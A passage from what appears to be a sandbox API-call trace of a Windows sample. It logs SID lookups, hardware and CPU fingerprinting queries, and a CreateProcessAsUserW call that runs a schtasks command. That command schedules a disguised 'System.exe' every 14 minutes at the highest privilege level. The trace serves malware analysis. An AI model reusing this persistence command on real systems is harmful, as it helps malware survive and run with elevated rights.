IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0128.652] malloc (_Size=0x1c) returned 0x196ef0f9b50 [0128.652] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9b50, pSourceSid=0x196ef0d16a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9b50*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0128.652] GetSidIdentifierAuthority (pSid=0x196ef0d16a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d16a2 [0128.652] malloc (_Size=0x18) returned 0x196ef0d1c00 [0128.652] _ultow (in: _Dest=0x5, _Radix=1895810256 | out: _Dest=0x5) returned="5" [0128.652] malloc (_Size=0x18) returned 0x196ef0d1a80 [0128.652] malloc (_Size=0x18) returned 0x196ef0d1b40 [0128.652] SysStringLen (param_1="S-1-") returned 0x4 [0128.653] SysStringLen (param_1="5") returned 0x1 [0128.653] memcpy (in: _Dst=0x196ee7aab68, _Src=0x196ee7aa988, _Size=0xa | out: _Dst=0x196ee7aab68) returned 0x196ee7aab68 [0128.653] memcpy (in: _Dst=0x196ee7aab70, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7aab70) returned 0x196ee7aab70 [0128.653] free (_Block=0x196ef0d1c00) [0128.653] free (_Block=0x196ef0d1a80) [0128.653] GetSidSubAuthorityCount (pSid=0x196ef0d16a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d16a1 [0128.653] GetSidSubAuthority (pSid=0x196ef0d16a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d16a8 [0128.653] _ultow (in: _Dest=0x15, _Radix=1895810256 | out: _Dest=0x15) returned="21" [0128.653] malloc (_Size=0x18) returned 0x196ef0d1960 [0128.653] malloc (_Size=0x18) returned 0x196ef0d1a80 [0128.653] SysStringLen (param_1="S-1-5") returned 0x5 [0128.653] SysStringLen (param_1="-") returned 0x1 [0128.653] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7aab68, _Size=0xc | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0128.653] memcpy (in: _Dst=0x196ee7aab42, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee7aab42) returned 0x196ee7aab42 [0128.653] free (_Block=0x196ef0d1b40) [0128.653] free (_Block=0x196ef0d1960) [0128.653] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0128.653] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0128.654] SysStringLen (param_1="S-1-5-") returned 0x6 [0128.654] SysStringLen (param_1="21") returned 0x2 [0128.654] memcpy (in: _Dst=0x196ee7aa988, _Src=0x196ee7aab38, _Size=0xe | out: _Dst=0x196ee7aa988) returned 0x196ee7aa988 [0128.654] memcpy (in: _Dst=0x196ee7aa994, _Src=0x196ee7aab68, _Size=0x6 | out: _Dst=0x196ee7aa994) returned 0x196ee7aa994 [0128.654] free (_Block=0x196ef0d1a80) [0128.654] free (_Block=0x196ef0d1aa0) [0128.654] GetSidSubAuthority (pSid=0x196ef0d16a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d16ac [0128.654] _ultow (in: _Dest=0x5cffa865, _Radix=1895810256 | out: _Dest=0x5cffa865) returned="1560258661" [0128.654] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0128.654] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0128.654] SysStringLen (param_1="S-1-5-21") returned 0x8 [0128.654] SysStringLen (param_1="-") returned 0x1 [0128.654] memcpy (in: _Dst=0x196ee7aab68, _Src=0x196ee7aa988, _Size=0x12 | out: _Dst=0x196ee7aab68) returned 0x196ee7aab68 [0128.654] memcpy (in: _Dst=0x196ee7aab78, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7aab78) returned 0x196ee7aab78 [0128.654] free (_Block=0x196ef0d1ba0) [0128.654] free (_Block=0x196ef0d1ae0) [0128.654] malloc (_Size=0x18) returned 0x196ef0d1c20 [0128.654] malloc (_Size=0x18) returned 0x196ef0d1a40 [0128.654] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0128.654] SysStringLen (param_1="1560258661") returned 0xa [0128.654] memcpy (in: _Dst=0x196ee777b68, _Src=0x196ee7aab68, _Size=0x14 | out: _Dst=0x196ee777b68) returned 0x196ee777b68 [0128.654] memcpy (in: _Dst=0x196ee777b7a, _Src=0x196ee7aa988, _Size=0x16 | out: _Dst=0x196ee777b7a) returned 0x196ee777b7a [0128.655] free (_Block=0x196ef0d1bc0) [0128.655] free (_Block=0x196ef0d1c20) [0128.655] GetSidSubAuthority (pSid=0x196ef0d16a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d16b0 [0128.655] _ultow (in: _Dest=0xeddecfcf, _Radix=1895810256 | out: _Dest=0xeddecfcf) returned="3990802383" [0128.655] malloc (_Size=0x18) returned 0x196ef0d1de0 [0128.655] malloc (_Size=0x18) returned 0x196ef0d1c60 [0128.655] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0128.655] SysStringLen (param_1="-") returned 0x1 [0128.655] memcpy (in: _Dst=0x196ee777c08, _Src=0x196ee777b68, _Size=0x28 | out: _Dst=0x196ee777c08) returned 0x196ee777c08 [0128.655] memcpy (in: _Dst=0x196ee777c2e, _Src=0x196ee7aab68, _Size=0x4 | out: _Dst=0x196ee777c2e) returned 0x196ee777c2e [0128.655] free (_Block=0x196ef0d1a40) [0128.655] free (_Block=0x196ef0d1de0) [0128.655] malloc (_Size=0x18) returned 0x196ef0d2080 [0128.655] malloc (_Size=0x18) returned 0x196ef0d1a80 [0128.655] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0128.655] SysStringLen (param_1="3990802383") returned 0xa [0128.655] memcpy (in: _Dst=0x196ee7bb2d8, _Src=0x196ee777c08, _Size=0x2a | out: _Dst=0x196ee7bb2d8) returned 0x196ee7bb2d8 [0128.655] memcpy (in: _Dst=0x196ee7bb300, _Src=0x196ee7aab68, _Size=0x16 | out: _Dst=0x196ee7bb300) returned 0x196ee7bb300 [0128.655] free (_Block=0x196ef0d1c60) [0128.655] free (_Block=0x196ef0d2080) [0128.655] GetSidSubAuthority (pSid=0x196ef0d16a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d16b4 [0128.656] _ultow (in: _Dest=0x6bfcce57, _Radix=1895810256 | out: _Dest=0x6bfcce57) returned="1811730007" [0128.656] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0128.656] malloc (_Size=0x18) returned 0x196ef0d1b00 [0128.656] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0128.656] SysStringLen (param_1="-") returned 0x1 [0128.656] memcpy (in: _Dst=0x196ee7bb1c8, _Src=0x196ee7bb2d8, _Size=0x3e | out: _Dst=0x196ee7bb1c8) returned 0x196ee7bb1c8 [0128.656] memcpy (in: _Dst=0x196ee7bb204, _Src=0x196ee7aab68, _Size=0x4 | out: _Dst=0x196ee7bb204) returned 0x196ee7bb204 [0128.656] free (_Block=0x196ef0d1a80) [0128.656] free (_Block=0x196ef0d1ae0) [0128.656] malloc (_Size=0x18) returned 0x196ef0d1b40 [0128.656] malloc (_Size=0x18) returned 0x196ef0d1f80 [0128.656] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0128.656] SysStringLen (param_1="1811730007") returned 0xa [0128.656] memcpy (in: _Dst=0x196ee7bb2d8, _Src=0x196ee7bb1c8, _Size=0x40 | out: _Dst=0x196ee7bb2d8) returned 0x196ee7bb2d8 [0128.656] memcpy (in: _Dst=0x196ee7bb316, _Src=0x196ee7aab68, _Size=0x16 | out: _Dst=0x196ee7bb316) returned 0x196ee7bb316 [0128.656] free (_Block=0x196ef0d1b00) [0128.656] free (_Block=0x196ef0d1b40) [0128.656] GetSidSubAuthority (pSid=0x196ef0d16a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d16b8 [0128.656] _ultow (in: _Dest=0x3e8, _Radix=1895810256 | out: _Dest=0x3e8) returned="1000" [0128.656] malloc (_Size=0x18) returned 0x196ef0d1d40 [0128.657] malloc (_Size=0x18) returned 0x196ef0d1a40 [0128.657] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0128.657] SysStringLen (param_1="-") returned 0x1 [0128.657] memcpy (in: _Dst=0x196ee7bb1c8, _Src=0x196ee7bb2d8, _Size=0x54 | out: _Dst=0x196ee7bb1c8) returned 0x196ee7bb1c8 [0128.657] memcpy (in: _Dst=0x196ee7bb21a, _Src=0x196ee7aab68, _Size=0x4 | out: _Dst=0x196ee7bb21a) returned 0x196ee7bb21a [0128.657] free (_Block=0x196ef0d1f80) [0128.657] free (_Block=0x196ef0d1d40) [0128.657] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0128.657] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0128.657] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0128.657] SysStringLen (param_1="1000") returned 0x4 [0128.657] memcpy (in: _Dst=0x196ee7bb2d8, _Src=0x196ee7bb1c8, _Size=0x56 | out: _Dst=0x196ee7bb2d8) returned 0x196ee7bb2d8 [0128.657] memcpy (in: _Dst=0x196ee7bb32c, _Src=0x196ee7aab68, _Size=0xa | out: _Dst=0x196ee7bb32c) returned 0x196ee7bb32c [0128.657] free (_Block=0x196ef0d1a40) [0128.657] free (_Block=0x196ef0d1ba0) [0128.657] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0128.657] malloc (_Size=0x5e) returned 0x196ef0d0530 [0128.657] free (_Block=0x196ef0d1ac0) [0128.657] malloc (_Size=0x18) returned 0x196ef0d20e0 [0128.658] free (_Block=0x196ef0d0530) [0128.658] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d16a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690 | out: Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690) returned 0 [0128.659] GetLastError () returned 0x7a [0128.659] malloc (_Size=0x1a) returned 0x196ef0f9fa0 [0128.659] malloc (_Size=0xe) returned 0x196ef0d1c40 [0128.659] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d16a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9fa0, cchName=0x670ffc5a0, ReferencedDomainName=0x196ef0d1c40, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690 | out: Name="RDhJ0CNFevzX", cchName=0x670ffc5a0, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690) returned 1 [0128.660] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0128.661] malloc (_Size=0x18) returned 0x196ef0d1b60 [0128.661] free (_Block=0x196ef0f9fa0) [0128.661] free (_Block=0x196ef0d1c40) [0128.661] free (_Block=0x196ef0f9b50) [0128.661] free (_Block=0x196ef0d1b60) [0128.661] free (_Block=0x196ef0d1fa0) [0128.661] free (_Block=0x196ef0d20e0) [0128.662] free (_Block=0x196ef0d1690) [0128.662] SetEvent (hEvent=0x248) returned 1 [0128.663] free (_Block=0x196ef0ccda0) [0128.663] CreateEnvironmentBlock () returned 0x1 [0128.667] malloc (_Size=0x18) returned 0x196ef0d1c20 [0128.668] CreateProcessAsUserW (in: hToken=0x33c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"SystemS\" /sc MINUTE /mo 14 /tr \"'C:\\Users\\All Users\\Application Data\\System.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x670ffc800*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x670ffc6a8 | out: lpCommandLine="schtasks.exe /create /tn \"SystemS\" /sc MINUTE /mo 14 /tr \"'C:\\Users\\All Users\\Application Data\\System.exe'\" /rl HIGHEST /f", lpProcessInformation=0x670ffc6a8*(hProcess=0x260, hThread=0x264, dwProcessId=0xb04, dwThreadId=0x14c)) returned 1 [0128.676] CloseHandle (hObject=0x260) returned 1 [0128.676] CloseHandle (hObject=0x264) returned 1 [0128.676] free (_Block=0x196ef0d1c20) [0128.676] DestroyEnvironmentBlock () returned 0x1 [0128.677] malloc (_Size=0x48) returned 0x196ef0ccda0 [0128.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x670ffc680 | out: lpSystemTimeAsFileTime=0x670ffc680*(dwLowDateTime=0x2d8d5d70, dwHighDateTime=0x1d9eb0c)) [0128.677] SetEvent (hEvent=0x248) returned 1 [0128.678] CloseHandle (hObject=0x320) returned 1 [0128.678] CloseHandle (hObject=0x33c) returned 1 [0128.730] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788330 [0128.730] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788330, pulNumLanguages=0x670ffdf80 | out: pulNumLanguages=0x670ffdf80) returned 1 [0128.731] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0128.731] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0137.707] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0153.338] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0153.376] RtlRestoreLastWin32Error () returned 0x670db9000 [0153.376] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffdde0 | out: pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffdde0) returned 1 [0153.376] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0153.376] RtlRestoreLastWin32Error () returned 0x670db9000 [0153.376] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x670ffdde0 | out: pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x670ffdde0) returned 1 [0153.376] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788250 [0153.376] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0153.376] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7880 [0153.376] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7880, pulNumLanguages=0x670ffdee8 | out: pulNumLanguages=0x670ffdee8) returned 1 [0153.377] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7880) returned 1 [0153.380] malloc (_Size=0x600) returned 0x196ef0f91a0 [0153.380] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x0, ReturnedLength=0x670ffd5c8 | out: Buffer=0x0, ReturnedLength=0x670ffd5c8) returned 0 [0153.380] GetLastError () returned 0x7a [0153.380] malloc (_Size=0x250) returned 0x196ef0d67b0 [0153.380] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x196ef0d67b0, ReturnedLength=0x670ffd5c8 | out: Buffer=0x196ef0d67b0, ReturnedLength=0x670ffd5c8) returned 1 [0153.380] GetActiveProcessorCount (GroupNumber=0xffff) returned 0x4 [0153.381] GetMaximumProcessorGroupCount () returned 0x1 [0153.381] malloc (_Size=0x40) returned 0x196ef0ccda0 [0153.381] malloc (_Size=0x40) returned 0x196ef0cd160 [0153.381] malloc (_Size=0x8) returned 0x196ef0d6ba0 [0153.381] memcpy (in: _Dst=0x196ef0ccda0, _Src=0x196ef0d67d0, _Size=0x10 | out: _Dst=0x196ef0ccda0) returned 0x196ef0ccda0 [0153.385] GetActiveProcessorCount (GroupNumber=0x0) returned 0x4 [0153.385] NtPowerInformation (in: InformationLevel=0x2e, InputBuffer=0x670ffd5c0, InputBufferLength=0x2, OutputBuffer=0x196ef0f91a0, OutputBufferLength=0x60 | out: OutputBuffer=0x196ef0f91a0) returned 0x0 [0153.386] _vsnwprintf (in: _Buffer=0x670ffd460, _BufferCount=0x63, _Format="CPU%d", _ArgList=0x670ffcd58 | out: _Buffer="CPU0") returned 4 [0153.386] GetCurrentThread () returned 0xfffffffffffffffe [0153.386] SetThreadGroupAffinity (in: hThread=0xfffffffffffffffe, GroupAffinity=0x670ffccb0, PreviousGroupAffinity=0x670ffccc0 | out: PreviousGroupAffinity=0x670ffccc0) returned 1 [0153.387] GetSystemInfo (in: lpSystemInfo=0x670ffcdf0 | out: lpSystemInfo=0x670ffcdf0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0153.387] mbstowcs (in: _Dest=0x670ffd078, _Source="GenuineIntel", _MaxCount=0x28 | out: _Dest="GenuineIntel") returned 0xc [0153.387] _wcsicmp (_String1="GenuineIntel", _String2="GenuineIntel") returned 0 [0153.388] mbstowcs (in: _Dest=0x670ffcee8, _Source="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", _MaxCount=0x28 | out: _Dest="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x27 [0153.388] GetCurrentThread () returned 0xfffffffffffffffe [0153.388] SetThreadGroupAffinity (in: hThread=0xfffffffffffffffe, GroupAffinity=0x670ffccc0, PreviousGroupAffinity=0x0 | out: PreviousGroupAffinity=0x0) returned 1 [0153.393] LoadStringW (in: hInstance=0x7ffa5f310000, uID=0x2c, lpBuffer=0x670ffcac0, cchBufferMax=256 | out: lpBuffer="CPU %d") returned 0x6 [0155.673] malloc (_Size=0x35140) returned 0x196ef0ff680 [0155.686] _wtoi (_String="238") returned 238 [0155.686] _wtoi (_String="6") returned 6 [0155.686] _itow (in: _Dest=0x0, _Radix=1895814032 | out: _Dest=0x0) returned="0" [0155.686] _itow (in: _Dest=0xee, _Radix=1895812320 | out: _Dest=0xee) returned="238" [0155.686] malloc (_Size=0x4000) returned 0x196ef1347d0 [0155.686] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x0, lpData=0x196ef1347d0, lpcbData=0x670ffccb4*=0x4000 | out: lpType=0x0, lpData=0x196ef1347d0*=0x50, lpcbData=0x670ffccb4*=0x600) returned 0x0 [0155.701] free (_Block=0x196ef1347d0) [0155.701] Sleep (dwMilliseconds=0x3e8) [0156.711] _itow (in: _Dest=0xee, _Radix=1895812320 | out: _Dest=0xee) returned="238" [0156.711] malloc (_Size=0x4000) returned 0x196ef1347d0 [0156.711] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x0, lpData=0x196ef1347d0, lpcbData=0x670ffccb4*=0x4000 | out: lpType=0x0, lpData=0x196ef1347d0*=0x50, lpcbData=0x670ffccb4*=0x600) returned 0x0 [0156.764] free (_Block=0x196ef1347d0) [0156.766] free (_Block=0x196ef0ff680) [0156.774] _vsnwprintf (in: _Buffer=0x670ffd390, _BufferCount=0x40, _Format="%04X%04X%04X%04X", _ArgList=0x670ffcd58 | out: _Buffer="0F8BFBFF000606A6") returned 16 [0156.777] lstrlenW (lpString=" 0") returned 2 [0156.778] lstrlenW (lpString="Intel(R) Xeon(R) Silver 4314 CPU @ 2.40GHz") returned 42 [0156.779] lstrlenW (lpString="") returned 0 [0156.779] lstrlenW (lpString="") returned 0 [0156.780] lstrlenW (lpString="") returned 0 [0156.783] IsProcessorFeaturePresent (ProcessorFeature=0x14) returned 1 [0156.783] IsProcessorFeaturePresent (ProcessorFeature=0x15) returned 1 [0156.784] RtlNumberOfSetBitsUlongPtr (Target=0x1) returned 0x1 [0156.784] RtlNumberOfSetBitsUlongPtr (Target=0x2) returned 0x1 [0156.784] RtlNumberOfSetBitsUlongPtr (Target=0x4) returned 0x1 [0156.784] RtlNumberOfSetBitsUlongPtr (Target=0x8) returned 0x1 [0156.784] _vsnwprintf (in: _Buffer=0x670ffd650, _BufferCount=0x63, _Format="CPU%d", _ArgList=0x670ffd598 | out: _Buffer="CPU0") returned 4 [0156.787] free (_Block=0x196ef0d6ba0) [0156.787] free (_Block=0x196ef0cd160) [0156.787] free (_Block=0x196ef0ccda0) [0156.788] free (_Block=0x196ef0d67b0) [0156.788] free (_Block=0x196ef0f91a0) [0156.816] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ef225d40 [0156.816] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ef225d40, pulNumLanguages=0x670ffdf90 | out: pulNumLanguages=0x670ffdf90) returned 1 [0156.816] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225d40) returned 1 [0156.816] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0157.029] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0157.260] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0157.287] RtlRestoreLastWin32Error () returned 0x670db9000 [0157.287] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffdde0 | out: pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffdde0) returned 1 [0157.287] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225cb0 [0157.288] RtlRestoreLastWin32Error () returned 0x670db9000 [0157.288] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x196ef225cb0, pcchLanguagesBuffer=0x670ffdde0 | out: pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x196ef225cb0, pcchLanguagesBuffer=0x670ffdde0) returned 1 [0157.288] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225f00 [0157.288] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225cb0) returned 1 [0157.288] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee833890 [0157.288] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee833890, pulNumLanguages=0x670ffdee8 | out: pulNumLanguages=0x670ffdee8) returned 1 [0157.288] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee833890) returned 1 [0157.301] LoadStringW (in: hInstance=0x7ffa5f310000, uID=0x3e, lpBuffer=0x670ffd490, cchBufferMax=256 | out: lpBuffer="Base Board") returned 0xa [0157.303] lstrlenW (lpString="Dell Inc.") returned 9 [0157.304] lstrlenW (lpString="0G3HR7") returned 6 [0157.306] lstrlenW (lpString="A00") returned 3 [0157.307] lstrlenW (lpString="..XXXXXXXXXXXXX.") returned 16 [0157.312] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ef225dd0 [0157.312] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ef225dd0, pulNumLanguages=0x670ffdf90 | out: pulNumLanguages=0x670ffdf90) returned 1 [0157.312] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225dd0) returned 1 [0157.312] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225f00) returned 1 [0157.369] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0157.386] RtlRestoreLastWin32Error () returned 0x670db9000 [0157.386] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffdde0 | out: pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffdde0) returned 1 [0157.386] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225ce0 [0157.386] RtlRestoreLastWin32Error () returned 0x670db9000 [0157.386] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x196ef225ce0, pcchLanguagesBuffer=0x670ffdde0 | out: pulNumLanguages=0x670ffdee8, pwszLanguagesBuffer=0x196ef225ce0, pcchLanguagesBuffer=0x670ffdde0) returned 1 [0157.386] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225cf0 [0157.386] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225ce0) returned 1 [0157.386] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee833670 [0157.386] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee833670, pulNumLanguages=0x670ffdee8 | out: pulNumLanguages=0x670ffdee8) returned 1 [0157.386] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee833670) returned 1 [0157.395] _wtoi (_String="04") returned 4 [0157.395] _wtoi (_String="14") returned 14 [0157.396] GetLocalTime (in: lpSystemTime=0x670ffcac0 | out: lpSystemTime=0x670ffcac0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x14, wMilliseconds=0x2fc)) [0157.396] _wtoi (_String="01") returned 1 [0157.396] _vsnwprintf (in: _Buffer=0x670ffcb00, _BufferCount=0x63, 